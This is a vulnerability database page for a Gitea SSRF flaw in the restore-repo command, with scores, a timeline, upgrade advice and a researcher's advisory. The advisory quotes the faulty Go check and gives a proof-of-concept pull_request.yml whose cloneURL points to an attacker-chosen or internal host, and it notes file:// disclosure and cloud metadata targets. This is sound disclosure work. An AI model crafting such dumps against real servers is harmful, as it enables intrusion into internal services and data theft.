Skip to main content
VulnerabilityPublished

CVE-2026-58441: Gitea · SSRF in restore-repo via unsanitized pull_request.yml Head.CloneURL

Affects code.gitea.io/giteaSource GCVE Database

0
Compare
Authoritative record:CVE-2026-58441· Medium 6.3

Not known to be exploited · CVSS 6.3 Medium : upgrade to 1.27.0 when convenient.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score
6.3Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.1% chance of exploitation in 30 days – higher than 5% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 1.27.0
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

  1. Disclosed: evidence found.

    CVE published 13 Aug 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: evidence found.

    CISA SSVC: proof of concept public

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

Timeline

  1. CVE ID reserved

    by Gitea Limited

    , 44 days before disclosure

  2. CVE published

    on cve.org

    , t = 0

  3. CISA SSVC assessment

    proof of concept public

    , 27 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade code.gitea.io/gitea to 1.27.0.

Affected software

ProductAffectedFixed in
Gocode.gitea.io/giteaAffected
  • <1.27.0
Fixed in
  • 1.27.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Gitea's `restore-repo` CLI command restores a repository from a dump directory/archive. When parsing `pull_request.yml` from that dump, the `Head.CloneURL` field is used to add a git remote and fetch from it with no validation, because the safety check that's supposed to guard it (`CheckAndEnsureSafePR`) is called with an empty `commonCloneBaseURL`, which silently disables it. This lets a malicious dump make the Gitea server execute `git fetch` against an attacker-chosen URL (SSRF), or disclose a local git repository via `file://`. This is a different root cause from the recently fixed path-traversal issue in the same command (#38215), which patched `DownloadURL`/`PatchURL` but not `Head.CloneURL`. ### Details `services/migrations/restore.go`'s `GetPullRequests()` unmarshals `pull_request.yml` directly into `base.PullRequest` structs with no validation of `Head.CloneURL`: ```go err = yaml.Unmarshal(bs, &pulls) ... for _, pr := range pulls { if pr.PatchURL != "" { pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL) } CheckAndEnsureSafePR(pr, "", r) // <-- empty baseURL } ``` `CheckAndEnsureSafePR` (`services/migrations/common.go`) is supposed to reject `Head.CloneURL`/`PatchURL` values that don't share a common base URL: ```go func hasBaseURL(toCheck, baseURL string) bool { if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' { baseURL += "/" } return strings.HasPrefix(toCheck, baseURL) } func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool { valid := true if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) { pr.PatchURL = "" valid = false } if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) { pr.Head.CloneURL = "" valid = false } return valid } ``` `strings.HasPrefix(anything, "")` is always `true` in Go. Because `restore.go` is the only caller that passes `""` as `commonCloneBaseURL`, this check is a complete no-op on the restore-repo path — `Head.CloneURL` survives unchanged regardless of its value. Every other downloader (`github.go`, `gitlab.go`, `gitea_downloader.go`, `codebase.go`, `codecommit.go`, `onedev.go`) passes a real base URL, so they are not affected. `services/migrations/gitea_uploader.go` then uses the unvalidated value directly: ```go err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true) // ... later: fetch from that remote ``` resulting in the server executing `git fetch` against an attacker-controlled URL sourced from the dump file. **RCE via git's `ext::` transport helper was tested and ruled out** — a normal `git` install rejects it by default (`fatal: transport 'ext' not allowed`), independent of Gitea's own configuration. This report is scoped to SSRF and local git-repository disclosure. Confirmed present, byte-for-byte identical, in `v1.26.4` (latest stable tag), `release/v1.27`, and `main`, by direct checkout and diff. ### PoC 1. Create a dump directory following the normal `restore-repo` layout (`repo.yml`, etc.), and add a `pull_request.yml` containing at least one entry with: ```yaml - number: 1 head: cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof" ref: "main" ``` 2. Run `gitea restore-repo` against that dump directory for any repo owner. 3. Observe on the target host/listener: an actual `git` HTTP discovery request arrives, e.g. `GET /ssrf-proof/info/refs?service=git-upload-pack`, driven entirely by the value from the dump file. Verified the core mechanism (steps 2–3, i.e. the unvalidated `Head.CloneURL` surviving `CheckAndEnsureSafePR("")` and then being used in a real `git remote add` + `git fetch`) with a minimal, standalone Go program built from the **verbatim, unmodified** `hasBaseURL` / `CheckAndEnsureSafePR` function bodies (attached: `gitea_ssrf_poc.go`), run end-to-end against a local HTTP listener. The listener's access log confirms the request actually arrives. ### Impact An attacker who can get an administrator to run `gitea restore-repo` against a malicious dump (the same threat model already accepted for the just-fixed path-traversal issue in this command, #38215) can make the Gitea server issue a `git fetch` against an arbitrary attacker-chosen URL. This allows: - SSRF against internal-only services or cloud metadata endpoints reachable from the Gitea host. - Disclosure of local git repositories reachable via `file://` paths readable by the Gitea process. No public disclosure planned. Happy to provide further detail on request.

References

Community reviews

Loading reviews…